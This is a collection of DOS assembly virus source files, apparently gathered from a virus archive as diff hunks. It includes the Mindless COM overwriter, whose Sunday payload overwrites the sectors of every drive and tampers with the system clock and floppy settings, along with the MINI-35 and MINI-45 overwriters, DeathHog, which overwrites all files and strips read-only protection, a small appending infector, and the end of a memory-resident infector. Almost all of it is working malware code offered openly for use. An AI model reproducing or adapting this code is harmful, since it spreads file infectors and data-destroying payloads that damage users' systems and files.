cli ; Disable interrupts
|
||||||
|
les ax,dword ptr cs:data_25 ; (7382:0133=0) Load 32 bit ptr
|
||||||
|
mov ds:data_5e,ax ; (0000:0090=5BFh)
|
||||||
|
mov word ptr ds:data_5e+2,es ; (0000:0092=0EA3h)
|
||||||
|
les ax,dword ptr cs:data_28 ; (7382:013B=0) Load 32 bit ptr
|
||||||
|
mov ds:data_1e,ax ; (0000:004C=20D0h)
|
||||||
|
mov word ptr ds:data_1e+2,es ; (0000:004E=102Ch)
|
||||||
|
sti ; Enable interrupts
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop ax
|
||||||
|
retn
|
||||||
|
sub_7 endp
|
||||||
|
|
||||||
|
db 0B0h, 3, 0CFh
|
||||||
|
|
||||||
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
; SUBROUTINE
|
||||||
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||||
|
|
||||||
|
sub_8 proc near
|
||||||
|
mov dx,10h
|
||||||
|
mul dx ; dx:ax = reg * ax
|
||||||
|
retn
|
||||||
|
sub_8 endp
|
||||||
|
|
||||||
|
|
||||||
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
; SUBROUTINE
|
||||||
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||||
|
|
||||||
|
sub_9 proc near
|
||||||
|
xor ax,ax ; Zero register
|
||||||
|
xor bx,bx ; Zero register
|
||||||
|
xor cx,cx ; Zero register
|
||||||
|
xor dx,dx ; Zero register
|
||||||
|
xor si,si ; Zero register
|
||||||
|
xor di,di ; Zero register
|
||||||
|
xor bp,bp ; Zero register
|
||||||
|
retn
|
||||||
|
sub_9 endp
|
||||||
|
|
||||||
|
loc_22:
|
||||||
|
push ds
|
||||||
|
call sub_10 ; (044D)
|
||||||
|
|
||||||
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
; SUBROUTINE
|
||||||
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||||
|
|
||||||
|
sub_10 proc near
|
||||||
|
mov ax,4B4Dh
|
||||||
|
int 21h ; DOS Services ah=function 4Bh
|
||||||
|
; run progm @ds:dx, parm @es:bx
|
||||||
|
jc loc_23 ; Jump if carry Set
|
||||||
|
jmp loc_33 ; (057D)
|
||||||
|
loc_23:
|
||||||
|
pop si
|
||||||
|
push si
|
||||||
|
mov di,si
|
||||||
|
xor ax,ax ; Zero register
|
||||||
|
push ax
|
||||||
|
pop ds
|
||||||
|
les ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr
|
||||||
|
mov cs:data_42e[si],ax ; (7382:FCEA=0)
|
||||||
|
mov cs:data_43e[si],es ; (7382:FCEC=0)
|
||||||
|
les bx,dword ptr ds:data_3e ; (0000:0084=6C7h) Load 32 bit ptr
|
||||||
|
mov cs:data_40e[di],bx ; (7382:FCE2=0)
|
||||||
|
mov cs:data_41e[di],es ; (7382:FCE4=0)
|
||||||
|
mov ax,ds:data_7e ; (0000:0102=0F000h)
|
||||||
|
cmp ax,0F000h
|
||||||
|
jne loc_31 ; Jump if not equal
|
||||||
|
mov dl,80h
|
||||||
|
mov ax,ds:data_8e ; (0000:0106=0F000h)
|
||||||
|
cmp ax,0F000h
|
||||||
|
je loc_24 ; Jump if equal
|
||||||
|
cmp ah,0C8h
|
||||||
|
jb loc_31 ; Jump if below
|
||||||
|
cmp ah,0F4h
|
||||||
|
jae loc_31 ; Jump if above or =
|
||||||
|
test al,7Fh
|
||||||
|
jnz loc_31 ; Jump if not zero
|
||||||
|
mov ds,ax
|
||||||
|
cmp word ptr ds:data_44e,0AA55h ; (F000:0000=0AA55h)
|
||||||
|
jne loc_31 ; Jump if not equal
|
||||||
|
mov dl,ds:data_45e ; (F000:0002=40h)
|
||||||
|
loc_24:
|
||||||
|
mov ds,ax
|
||||||
|
xor dh,dh ; Zero register
|
||||||
|
mov cl,9
|
||||||
|
shl dx,cl ; Shift w/zeros fill
|
||||||
|
mov cx,dx
|
||||||
|
xor si,si ; Zero register
|
||||||
|
|
||||||
|
locloop_25:
|
||||||
|
lodsw ; String [si] to ax
|
||||||
|
cmp ax,0FA80h
|
||||||
|
jne loc_26 ; Jump if not equal
|
||||||
|
lodsw ; String [si] to ax
|
||||||
|
cmp ax,7380h
|
||||||
|
je loc_27 ; Jump if equal
|
||||||
|
jnz loc_28 ; Jump if not zero
|
||||||
|
loc_26:
|
||||||
|
cmp ax,0C2F6h
|
||||||
|
jne loc_29 ; Jump if not equal
|
||||||
|
lodsw ; String [si] to ax
|
||||||
|
cmp ax,7580h
|
||||||
|
jne loc_28 ; Jump if not equal
|
||||||
|
loc_27:
|
||||||
|
inc si
|
||||||
|
lodsw ; String [si] to ax
|
||||||
|
cmp ax,40CDh
|
||||||
|
je loc_30 ; Jump if equal
|
||||||
|
sub si,3
|
||||||
|
loc_28:
|
||||||
|
dec si
|
||||||
|
dec si
|
||||||
|
loc_29:
|
||||||
|
dec si
|
||||||
|
loop locloop_25 ; Loop if cx > 0
|
||||||
|
|
||||||
|
jmp short loc_31 ; (04EC)
|
||||||
|
loc_30:
|
||||||
|
sub si,7
|
||||||
|
mov cs:data_42e[di],si ; (7382:FCEA=0)
|
||||||
|
mov cs:data_43e[di],ds ; (7382:FCEC=0)
|
||||||
|
loc_31:
|
||||||
|
mov ah,62h ; 'b'
|
||||||
|
int 21h ; DOS Services ah=function 62h
|
||||||
|
; get progrm seg prefix addr bx
|
||||||
|
mov es,bx
|
||||||
|
mov ah,49h ; 'I'
|
||||||
|
int 21h ; DOS Services ah=function 49h
|
||||||
|
; release memory block, es=seg
|
||||||
|
mov bx,0FFFFh
|
||||||
|
mov ah,48h ; 'H'
|
||||||
|
int 21h ; DOS Services ah=function 48h
|
||||||
|
; allocate memory, bx=bytes/16
|
||||||
|
sub bx,4Eh
|
||||||
|
nop
|
||||||
|
jc loc_33 ; Jump if carry Set
|
||||||
|
mov cx,es
|
||||||
|
stc ; Set carry flag
|
||||||
|
adc cx,bx
|
||||||
|
mov ah,4Ah ; 'J'
|
||||||
|
int 21h ; DOS Services ah=function 4Ah
|
||||||
|
; change mem allocation, bx=siz
|
||||||
|
mov bx,4Dh
|
||||||
|
stc ; Set carry flag
|
||||||
|
sbb es:data_12e,bx ; (06C7:0002=0B8C3h)
|
||||||
|
push es
|
||||||
|
mov es,cx
|
||||||
|
mov ah,4Ah ; 'J'
|
||||||
|
int 21h ; DOS Services ah=function 4Ah
|
||||||
|
; change mem allocation, bx=siz
|
||||||
|
mov ax,es
|
||||||
|
dec ax
|
||||||
|
mov ds,ax
|
||||||
|
mov word ptr ds:data_11e,8 ; (0677:0001=3EC4h)
|
||||||
|
call sub_8 ; (0434)
|
||||||
|
mov bx,ax
|
||||||
|
mov cx,dx
|
||||||
|
pop ds
|
||||||
|
mov ax,ds
|
||||||
|
call sub_8 ; (0434)
|
||||||
|
add ax,ds:data_13e ; (06C7:0006=0F0EBh)
|
||||||
|
adc dx,0
|
||||||
|
sub ax,bx
|
||||||
|
sbb dx,cx
|
||||||
|
jc loc_32 ; Jump if carry Set
|
||||||
|
sub ds:data_13e,ax ; (06C7:0006=0F0EBh)
|
||||||
|
loc_32:
|
||||||
|
mov si,di
|
||||||
|
xor di,di ; Zero register
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
sub si,34Dh
|
||||||
|
mov cx,4C3h
|
||||||
|
inc cx
|
||||||
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||||
|
mov ah,62h ; 'b'
|
||||||
|
int 21h ; DOS Services ah=function 62h
|
||||||
|
; get progrm seg prefix addr bx
|
||||||
|
dec bx
|
||||||
|
mov ds,bx
|
||||||
|
mov byte ptr ds:data_10e,5Ah ; (0676:0000=0E8h) 'Z'
|
||||||
|
mov dx,1A8h
|
||||||
|
xor ax,ax ; Zero register
|
||||||
|
push ax
|
||||||
|
pop ds
|
||||||
|
mov ax,es
|
||||||
|
sub ax,10h
|
||||||
|
mov es,ax
|
||||||
|
cli ; Disable interrupts
|
||||||
|
mov ds:data_3e,dx ; (0000:0084=6C7h)
|
||||||
|
mov word ptr ds:data_3e+2,es ; (0000:0086=102Ch)
|
||||||
|
sti ; Enable interrupts
|
||||||
|
dec byte ptr ds:data_9e ; (0000:047B=14h)
|
||||||
|
loc_33:
|
||||||
|
pop si
|
||||||
|
cmp word ptr cs:data_35e[si],5A4Dh ; (7382:FCB6=0)
|
||||||
|
jne loc_34 ; Jump if not equal
|
||||||
|
pop ds
|
||||||
|
mov ax,cs:data_39e[si] ; (7382:FCD8=0)
|
||||||
|
mov bx,cs:data_38e[si] ; (7382:FCD6=0)
|
||||||
|
push cs
|
||||||
|
pop cx
|
||||||
|
sub cx,ax
|
||||||
|
add cx,bx
|
||||||
|
push cx
|
||||||
|
push word ptr cs:data_37e[si] ; (7382:FCD4=0)
|
||||||
|
push ds
|
||||||
|
pop es
|
||||||
|
call sub_9 ; (043A)
|
||||||
|
retf ; Return far
|
||||||
|
loc_34:
|
||||||
|
pop ax
|
||||||
|
mov ax,cs:data_35e[si] ; (7382:FCB6=0)
|
||||||
|
mov word ptr cs:[100h],ax ; (7382:0100=46E9h)
|
||||||
|
mov ax,cs:data_36e[si] ; (7382:FCB8=0)
|
||||||
|
mov word ptr cs:[102h],ax ; (7382:0102=0C303h)
|
||||||
|
mov ax,100h
|
||||||
|
push ax
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
push ds
|
||||||
|
pop es
|
||||||
|
call sub_9 ; (043A)
|
||||||
|
retn
|
||||||
|
sub_10 endp
|
||||||
|
|
||||||
|
|
||||||
|
seg_a ends
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
end start
|
||||||
@@ -0,0 +1,228 @@
|
|||||||
|
; The Mindless V1.0 Virus
|
||||||
|
;
|
||||||
|
; Type: *.COM Overwriter
|
||||||
|
;
|
||||||
|
; Programmer: Natas Kaupas
|
||||||
|
|
||||||
|
; Notes:
|
||||||
|
;
|
||||||
|
; Read the texts that come with this for all of the necessary
|
||||||
|
; info...if you've got any questions contact me on any YAM Dist. Sites.
|
||||||
|
;
|
||||||
|
; I Couldn't Have Made This Without:
|
||||||
|
;
|
||||||
|
; Soltan Griss -Kode4
|
||||||
|
; Data Disruptor -encrypted part
|
||||||
|
; Mr. Mike -typematic delay thing
|
||||||
|
; And Everyone I Forgot!
|
||||||
|
|
||||||
|
seg_a segment byte public
|
||||||
|
assume cs:seg_a, ds:seg_a
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
|
||||||
|
MINDL proc far
|
||||||
|
start label near
|
||||||
|
db 0E9h,00h,00h
|
||||||
|
|
||||||
|
vstart equ $
|
||||||
|
|
||||||
|
mov cx,09EBh ;debug killer
|
||||||
|
mov ax,0FE05h ;
|
||||||
|
jmp $-2 ;
|
||||||
|
add ah,03Bh ;
|
||||||
|
jmp $-10 ;
|
||||||
|
|
||||||
|
push ds ;save old data segment
|
||||||
|
sub ax,ax ;put zero in ax
|
||||||
|
push ax ;save it on stack
|
||||||
|
|
||||||
|
mov ah,2ah ;get date
|
||||||
|
int 21h
|
||||||
|
cmp al,0 ;is it a Sunday?
|
||||||
|
jne rater ;no...don't format then
|
||||||
|
|
||||||
|
doom:
|
||||||
|
mov ax,3301h ;turn off ^C Check
|
||||||
|
xor dl,dl ;0
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov cx,lident ;this all has to do with the encrypted
|
||||||
|
mov si,offset ident ;message
|
||||||
|
mov di,offset dest ;
|
||||||
|
doshit:
|
||||||
|
mov al,ds:[si] ;unencrypt message
|
||||||
|
mov temp,al ;
|
||||||
|
xor byte ptr ds:[temp],01h ;
|
||||||
|
mov al,temp ;
|
||||||
|
mov [di],al ;
|
||||||
|
inc si ;
|
||||||
|
inc di ;
|
||||||
|
loop doshit ;loop back and finish it
|
||||||
|
doomb:
|
||||||
|
cmp drive,27 ;format all drives
|
||||||
|
jge boot ;done...then end (boot)
|
||||||
|
pushf ;push flags on
|
||||||
|
mov al,drive ;find drive
|
||||||
|
mov cx,sectors ;find sectors
|
||||||
|
mov dx,0 ;start at sector 0
|
||||||
|
mov bx,offset dest ;write encrypted message
|
||||||
|
int 26h ;format
|
||||||
|
popf ;pop flags off
|
||||||
|
inc drive ;go up to next drive
|
||||||
|
jmp doomb ;repeat
|
||||||
|
|
||||||
|
;this was originally going to boot...but for some reason it couldn't format in
|
||||||
|
;time (before the boot), so it didn't format...oh well.
|
||||||
|
|
||||||
|
boot:
|
||||||
|
mov dl,2ch ;get system time
|
||||||
|
int 21h
|
||||||
|
and dl,0Fh ;AND 100th seconds by 0Fh
|
||||||
|
or dl,dl ;0?
|
||||||
|
jz locker ;yes..then lock up system
|
||||||
|
|
||||||
|
mov cx,1980 ;date, 1980
|
||||||
|
mov dx,0 ;mon/day, 0
|
||||||
|
mov ah,2Bh ;set date
|
||||||
|
int 21h
|
||||||
|
mov cx,0 ;hrs/min, 0
|
||||||
|
mov dx,0 ;sec, 0
|
||||||
|
mov ah,2Dh ;set time
|
||||||
|
int 21h
|
||||||
|
mov ax,3301h ;turn ^C Check back on
|
||||||
|
mov dl,1 ;1
|
||||||
|
int 21h
|
||||||
|
mov ax,4c00h ;end with error message 00
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
locker:
|
||||||
|
jmp $ ;lock up computer
|
||||||
|
|
||||||
|
rater:
|
||||||
|
mov al,dl
|
||||||
|
mov dl,0c0h ;unkown ms, really grinds on mine though!
|
||||||
|
jz valid ;it must be around 15ms
|
||||||
|
;which is slow considering default is 9ms
|
||||||
|
;and most floppies can actually go under 6ms
|
||||||
|
|
||||||
|
valid:
|
||||||
|
push ds ;Save the data segment
|
||||||
|
mov bx,78h ;point to pointer for floppy drive tables
|
||||||
|
mov ax,0
|
||||||
|
mov ds,ax ;set to segment 0
|
||||||
|
mov ax,[bx] ;get the pointer
|
||||||
|
mov bx,ax ;into the bx register
|
||||||
|
mov al,[bx] ;now get the present step rate
|
||||||
|
and al,0fh ;remove the old step rate
|
||||||
|
or al,dl ;put in the new step rate
|
||||||
|
mov [bx],al ;and put it back where it goes
|
||||||
|
mov ah,0 ;now call on the BIOS to
|
||||||
|
int 13h ;reload the set floppy disk controller
|
||||||
|
pop ds ;Reset the Data Segment
|
||||||
|
|
||||||
|
go_on:
|
||||||
|
|
||||||
|
push ds ;save present data segment
|
||||||
|
|
||||||
|
mov bx,78h ;point to pointer for floppy drive tables
|
||||||
|
mov ax,0
|
||||||
|
mov ds,ax ;set to segment 0
|
||||||
|
mov ax,[bx] ;get the pointer
|
||||||
|
mov bx,ax ;into the bx register
|
||||||
|
mov al,[bx] ;now get the step rate
|
||||||
|
pop ds
|
||||||
|
push ax ;save the step rate on the stack
|
||||||
|
|
||||||
|
|
||||||
|
typematic:
|
||||||
|
mov bl,repeat ;get the parameters
|
||||||
|
mov bh,init ;
|
||||||
|
mov ax,305h ;set typematic rate and delay
|
||||||
|
int 16h ;
|
||||||
|
xor al,al ;errorlevel = 0
|
||||||
|
|
||||||
|
n_start: mov ah,4Eh ;Find first Com file in directory
|
||||||
|
mov dx,offset filename ;use "*.com"
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
Back:
|
||||||
|
mov ah,43h ;get rid of read only protection
|
||||||
|
mov al,0 ;
|
||||||
|
mov dx,9eh ;
|
||||||
|
int 21h ;
|
||||||
|
mov ah,43h ;
|
||||||
|
mov al,01 ;
|
||||||
|
and cx,11111110b ;
|
||||||
|
int 21h ;
|
||||||
|
|
||||||
|
mov ax,3D01h ;Open file for writing
|
||||||
|
mov dx,9Eh ;get file name from file data area
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov bx,ax ;save handle in bx
|
||||||
|
mov ah,57h ;get time date
|
||||||
|
mov al,0
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
push cx ;put in stack for later
|
||||||
|
push dx
|
||||||
|
|
||||||
|
|
||||||
|
mov dx,100h ;Start writing at 100h
|
||||||
|
mov cx,(vend-vstart) ;write ?? bytes
|
||||||
|
mov ah,40h ;Write Data into the file
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
|
||||||
|
pop dx ;Restore old dates and times
|
||||||
|
pop cx
|
||||||
|
mov ah,57h
|
||||||
|
mov al,01h
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
mov ah,3Eh ;Close the file
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,4Fh ;Find Next file
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
jnc Back
|
||||||
|
|
||||||
|
done:
|
||||||
|
|
||||||
|
int 20h ;Terminate Program
|
||||||
|
|
||||||
|
V_Length equ vend-vstart
|
||||||
|
|
||||||
|
drive db ?
|
||||||
|
sectors dw 456
|
||||||
|
|
||||||
|
filename db "*.c*",0
|
||||||
|
|
||||||
|
ident db "ZXntofrudsr!@f`horu!Lb@ggdd\!,O@U@R!J@TQ@R",13,10
|
||||||
|
db "Uid!Lhoemdrr!Whstr!w0/1!",13,10
|
||||||
|
|
||||||
|
;encrypted message:
|
||||||
|
;ident db "[Youngsters Against McAffee] -NATAS KAUPAS",13,10
|
||||||
|
; db "The Mindless Virus v1.0 ",13,10
|
||||||
|
|
||||||
|
lident equ $-ident
|
||||||
|
dest db [lident-1/2] dup (?)
|
||||||
|
temp db 0
|
||||||
|
|
||||||
|
repeat equ 250
|
||||||
|
init equ 0
|
||||||
|
|
||||||
|
mindl endp
|
||||||
|
|
||||||
|
vend equ $
|
||||||
|
|
||||||
|
seg_a ends
|
||||||
|
|
||||||
|
end start
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
; MINI-35 is Copyright (C) by Line Noise 1992...
|
||||||
|
; You are allowed to use this code in your own
|
||||||
|
; programs if you want, you are allowed to
|
||||||
|
; give this source away, sell it or whatever...
|
||||||
|
; None of the members of Line Noise should be held
|
||||||
|
; responsible for the consequences of the use
|
||||||
|
; of this program....
|
||||||
|
; Use this program at your own risk...
|
||||||
|
; Iow if you use this code, you agree with the above...
|
||||||
|
; The MINI-35 is based upon the MINI-45 from bulgaria(?).
|
||||||
|
; If anybody manages to shrink the code even more then
|
||||||
|
; leave me(Dark Wolf) a message at your nearest Virus BBS...
|
||||||
|
;
|
||||||
|
; Greetings from Dark Wolf/Line Noise
|
||||||
|
|
||||||
|
|
||||||
|
SEG_A SEGMENT BYTE PUBLIC
|
||||||
|
ASSUME CS:SEG_A, DS:SEG_A
|
||||||
|
|
||||||
|
|
||||||
|
ORG 100h
|
||||||
|
|
||||||
|
MINI PROC
|
||||||
|
|
||||||
|
START:
|
||||||
|
MOV AH,4Eh
|
||||||
|
MOV DX,OFFSET FMATCH ;address to file match
|
||||||
|
INT 21h ;DOS int, ah=function 4Eh
|
||||||
|
;find 1st filenam match@DS:DX
|
||||||
|
MOV AX,3D02h ;02=for read & write...
|
||||||
|
MOV DX,9Eh ;address to filename...
|
||||||
|
INT 21h ;DOS Services ah=function 3Dh
|
||||||
|
;open file, AL=mode,name@DS:DX
|
||||||
|
XCHG AX,BX ;BX = handle now
|
||||||
|
MOV DX,100h
|
||||||
|
MOV AH,40h ;Function 40h, write file
|
||||||
|
MOV CL,35 ;number of bytes to write
|
||||||
|
INT 21h ;CX=bytes, to DS:DX
|
||||||
|
;BX=file handle
|
||||||
|
|
||||||
|
MOV AH,3Eh ;function 3Eh, close file
|
||||||
|
INT 21h ;BX=file handle
|
||||||
|
|
||||||
|
RETN
|
||||||
|
|
||||||
|
FMATCH: DB '*.C*',0 ;The virus didn't want to
|
||||||
|
;work when I changed this
|
||||||
|
;to *.* or *...
|
||||||
|
;WHY NOT?! Anybody gotta
|
||||||
|
;hint on this?!
|
||||||
|
|
||||||
|
MINI ENDP
|
||||||
|
|
||||||
|
SEG_A ENDS
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
END START
|
||||||
|
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
.model tiny ;Sets memory model for TASM
|
||||||
|
.radix 16 ;Sets default number system to hexidecimal (base 16)
|
||||||
|
.code ;starts code section
|
||||||
|
|
||||||
|
org 100 ;makes program begin at 100h, i.e. a .COM file
|
||||||
|
|
||||||
|
start: ;beginning label
|
||||||
|
|
||||||
|
mov ah,4e ;set ah to 4e, sets function called by int 21
|
||||||
|
;to find first match
|
||||||
|
mov dx,offset file_mask ;sets search to look for *.com
|
||||||
|
|
||||||
|
search:
|
||||||
|
int 21 ;executes find first match function
|
||||||
|
jc quit ;if there aren't any files, ends
|
||||||
|
|
||||||
|
|
||||||
|
mov ax,3d02 ;open file read/write mode
|
||||||
|
mov dx,9e ;pointer to name found by findfirst
|
||||||
|
int 21
|
||||||
|
|
||||||
|
xchg ax,bx ;moves file handle to bx from ax
|
||||||
|
mov ah,40 ;sets ah to write to file function
|
||||||
|
mov cl,[ender-start] ;overwrites file
|
||||||
|
mov dx,100 ;starting address for coms, write from
|
||||||
|
int 21 ;beginning of virus
|
||||||
|
|
||||||
|
|
||||||
|
mov ah,3e
|
||||||
|
int 21 ;closes file handle
|
||||||
|
|
||||||
|
mov ah,4f
|
||||||
|
jmp short search ;jumps back set to find next
|
||||||
|
|
||||||
|
quit:
|
||||||
|
int 20 ;ends program
|
||||||
|
|
||||||
|
file_mask db '*.c*',0 ;file mask to match to programs
|
||||||
|
|
||||||
|
ender: ;label for size calculation
|
||||||
|
|
||||||
|
end start ;end of code
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
;***************************************************************
|
||||||
|
; DISASSEMBLY of the MINI-45 VIRUS
|
||||||
|
;***************************************************************
|
||||||
|
; FIND .COM FILE TO INFECT
|
||||||
|
;***************************************************************
|
||||||
|
MOV DX, 127h ;filehandle search criteria-27bytes
|
||||||
|
;away from beg. of file
|
||||||
|
MOV AH, 4Eh ;setup for Dos function-find file
|
||||||
|
INT 21h ;search for first file match
|
||||||
|
JB FILESPEC ;jump below and return
|
||||||
|
;****************************************************************
|
||||||
|
; OPEN FILE
|
||||||
|
;****************************************************************
|
||||||
|
FIRST_FILE:
|
||||||
|
MOV DX, 009Eh ;pointer to asciiz file spec
|
||||||
|
MOV AX, 3D02h ;moving 3d into ah=call dos to open file
|
||||||
|
;moving 02 into al=we want read\write
|
||||||
|
;access
|
||||||
|
INT 21h ;call dos function and open file.
|
||||||
|
;file handle found is put in ax register
|
||||||
|
JB NEXT_MATCH ;search for next match
|
||||||
|
;****************************************************************
|
||||||
|
; WRITE VIRUS CODE TO FILE
|
||||||
|
;****************************************************************
|
||||||
|
XCHG AX,BX ;put retrieved file handle from 3d open
|
||||||
|
;call into bx so it can be used for
|
||||||
|
;write function.
|
||||||
|
MOV DX, 0100h ;point to buffer of data to write, i.e.
|
||||||
|
;to myself
|
||||||
|
MOV CX, 002Dh ;#of bytes to write. 45d bytes
|
||||||
|
MOV AH, 40h ;setup write to file dos function
|
||||||
|
INT 21h ;write to file indicated in bx
|
||||||
|
;******************************************************************
|
||||||
|
; CLOSE FILE
|
||||||
|
;******************************************************************
|
||||||
|
MOV AH, 3Eh ;setup for dos function to close file
|
||||||
|
INT 21h ;close file
|
||||||
|
;******************************************************************
|
||||||
|
; FIND NEXT FILE MATCH
|
||||||
|
;******************************************************************
|
||||||
|
NEXT MATCH:
|
||||||
|
MOV AH, 4Fh ;search for next file match
|
||||||
|
JMP FIRST_FILE ;return above
|
||||||
|
;******************************************************************
|
||||||
|
;
|
||||||
|
FILESPEC:
|
||||||
|
db '*.com'
|
||||||
|
db 00
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,64 @@
|
|||||||
|
; DeathHog, (will defeat read-only files and appends itself to all
|
||||||
|
; files)
|
||||||
|
; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ
|
||||||
|
; r/w access, nuisance routines supplied by KOUCH
|
||||||
|
;
|
||||||
|
; Appended by Kouch, derived from DeathCow/Define (author unknown)
|
||||||
|
|
||||||
|
|
||||||
|
virus_length equ finish - start
|
||||||
|
|
||||||
|
code segment 'CODE'
|
||||||
|
assume cs:code,ds:code,es:code,ss:code
|
||||||
|
|
||||||
|
org 0100h
|
||||||
|
|
||||||
|
start label near
|
||||||
|
|
||||||
|
main proc near
|
||||||
|
mov ah,04Eh ; DOS find first file function
|
||||||
|
mov dx,offset file_spec ; DX points to "*.*" - any file
|
||||||
|
int 021h
|
||||||
|
|
||||||
|
infect_file : mov ah,43H ;the beginning of this
|
||||||
|
mov al,0 ;routine gets the file's
|
||||||
|
mov dx,09Eh ;attribute and changes it
|
||||||
|
int 21H ;to r/w access so that when
|
||||||
|
;it comes time to open the
|
||||||
|
mov ah,43H ;file, the virus can easily
|
||||||
|
mov al,1 ;defeat files with a 'read only'
|
||||||
|
mov dx,09Eh ;attribute. It leaves the file r/w,
|
||||||
|
mov cl,0 ;because who checks that, anyway?
|
||||||
|
int 21H
|
||||||
|
|
||||||
|
mov ax,03D01h ; DOS open file function, write-only
|
||||||
|
mov dx,09Eh ; DX points to the found file
|
||||||
|
int 021h
|
||||||
|
|
||||||
|
xchg bx,ax ; BX holds file handle
|
||||||
|
|
||||||
|
mov ah,040h ; DOS write to file function
|
||||||
|
mov cl,virus_length ; CL holds # of bytes to write
|
||||||
|
mov dx,offset main ; DX points to start of code
|
||||||
|
int 021h
|
||||||
|
|
||||||
|
mov ah,03Eh ; DOS close file function
|
||||||
|
int 021h
|
||||||
|
|
||||||
|
mov ah,04Fh ; DOS find next file function
|
||||||
|
int 021h
|
||||||
|
jnc infect_file ; Infect next file, if found
|
||||||
|
|
||||||
|
mov ah,31h ;insert 480K memory balloon
|
||||||
|
mov dx,7530h ;for nuisance value
|
||||||
|
int 21H ;it's big enough so 'out of
|
||||||
|
;memory' messages will start cropping up quickly
|
||||||
|
; RETurn to DOS
|
||||||
|
|
||||||
|
file_spec db "*.*",0 ; Files to infect: apped to all files
|
||||||
|
main endp
|
||||||
|
|
||||||
|
finish label near
|
||||||
|
|
||||||
|
code ends
|
||||||
|
end main
|
||||||
@@ -0,0 +1,113 @@
|
|||||||
|
;****************************************************************************
|
||||||
|
;* Mini non-resident virus
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
cseg segment
|
||||||
|
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||||||
|
|
||||||
|
.RADIX 16
|
||||||
|
|
||||||
|
FILELEN equ eind - start
|
||||||
|
FILNAM equ 69
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Dummy program (infected)
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
begin: db 4Dh
|
||||||
|
db 0E9, 4, 0
|
||||||
|
|
||||||
|
|
||||||
|
;****************************************************************************
|
||||||
|
;* Begin of the virus
|
||||||
|
;****************************************************************************
|
||||||
|
|
||||||
|
|
||||||
|
start: db 0CDh, 20h, 0, 0
|
||||||
|
|
||||||
|
push si ;si=0100
|
||||||
|
|
||||||
|
mov di,si
|
||||||
|
add si,[si+2] ;si=0104
|
||||||
|
push si
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
pop si ;si -> start (buffer)
|
||||||
|
|
||||||
|
mov dh,0FF ;set DTA to FF80
|
||||||
|
call setDTA
|
||||||
|
|
||||||
|
lea dx,[si+FILNAM] ;dx -> filename
|
||||||
|
mov ah,4Eh ;find first file
|
||||||
|
infloop: int 21
|
||||||
|
cwd ;set DTA to 0080 and quit
|
||||||
|
jc setDTA
|
||||||
|
|
||||||
|
mov dx,0FF9Eh
|
||||||
|
mov ax,3D02h ;open the file
|
||||||
|
call int21
|
||||||
|
jc exit1
|
||||||
|
xchg bx,ax
|
||||||
|
|
||||||
|
mov ah,3fh ;read begin of file
|
||||||
|
int 21
|
||||||
|
|
||||||
|
cmp byte ptr [si],4Dh ;EXE or infected COM?
|
||||||
|
je exit2
|
||||||
|
|
||||||
|
mov al,2 ;go to end of file
|
||||||
|
call seek
|
||||||
|
xchg ax,di
|
||||||
|
|
||||||
|
mov cl,FILELEN ;write program to end of file
|
||||||
|
mov ah,40h
|
||||||
|
int 21
|
||||||
|
|
||||||
|
mov al,0
|
||||||
|
call seek
|
||||||
|
mov word ptr [si],0E94Dh
|
||||||
|
mov word ptr [si+2],di
|
||||||
|
|
||||||
|
|
||||||
|
mov ah,40h
|
||||||
|
int 21
|
||||||
|
|
||||||
|
exit2: mov ah,3Eh ;close the file
|
||||||
|
int 21
|
||||||
|
|
||||||
|
exit1: mov ah,4Fh ;find next file
|
||||||
|
jmp short infloop
|
